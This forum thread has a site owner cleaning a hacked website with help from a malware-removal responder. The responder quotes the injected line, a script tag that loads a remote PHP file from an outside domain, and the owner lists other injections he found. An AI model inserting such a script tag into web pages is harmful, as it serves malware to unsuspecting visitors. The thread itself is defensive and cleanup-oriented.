malicious code in index page
by djmao
about 1 month ago

Hi,
Google is reporting a site of mine, saying it has something to do with malware..
I checked the index.php and found a php-snippet in the beginning of the code, so i deleted it immediately.
But i don’t know if there are any more bugs in my site..
How can i reduce the risk of getting these problems again?

I may need to mention that the problem is that more people have access to the ftp to upload pictures, and they are all using windows, i am working on a mac..

by WhiteFirDesign
about 1 month ago

If you provide your website’s address someone here may be able to provide specific advice about your website.

White Fir Design
Website Malware Removal Service

by djmao
about 1 month ago

oh yeah, sorry about that, i forgot :)
the site is : http://www.cvdestroopmennekes.be
today i’ve been busy cleaning all of the files, the following malware occured :
- php-snippets in most of the php-files
- document.write in all of the js-files
- new php-files that weren’t there before
- new directories with session/datafiles in it
i’ve requested a review with google, i hope it is solved now..
but if you find anything, please let me know.. Also some information about security and related stuff are very useful
Thx
Grtz
Martijn

by WhiteFirDesign
about 1 month ago

The pages on your website contain the following malware script:

<script src=http://route66hog.com/Templates/pasword.php ></sc ript>

White Fir Design
Website Malware Removal Service

by djmao
about 1 month ago

where did you find that script..? because i can’t find it..

by WhiteFirDesign
about 1 month ago

It is located right after the </head> tag.

White Fir Design
Website Malware Removal Service

by djmao
about 1 month ago

i have just reuploaded the site, could you check it again to see if the script is gone, because i couldn’t see it after the </head> tag..
thanks
grtz
Martijn

by WhiteFirDesign
about 1 month ago

The script is no longer on the pages.

White Fir Design
Website Malware Removal Service

by djmao
about 1 month ago

that’s good news, now hope that the warning will go away soon..
thanks a lot :)
grtz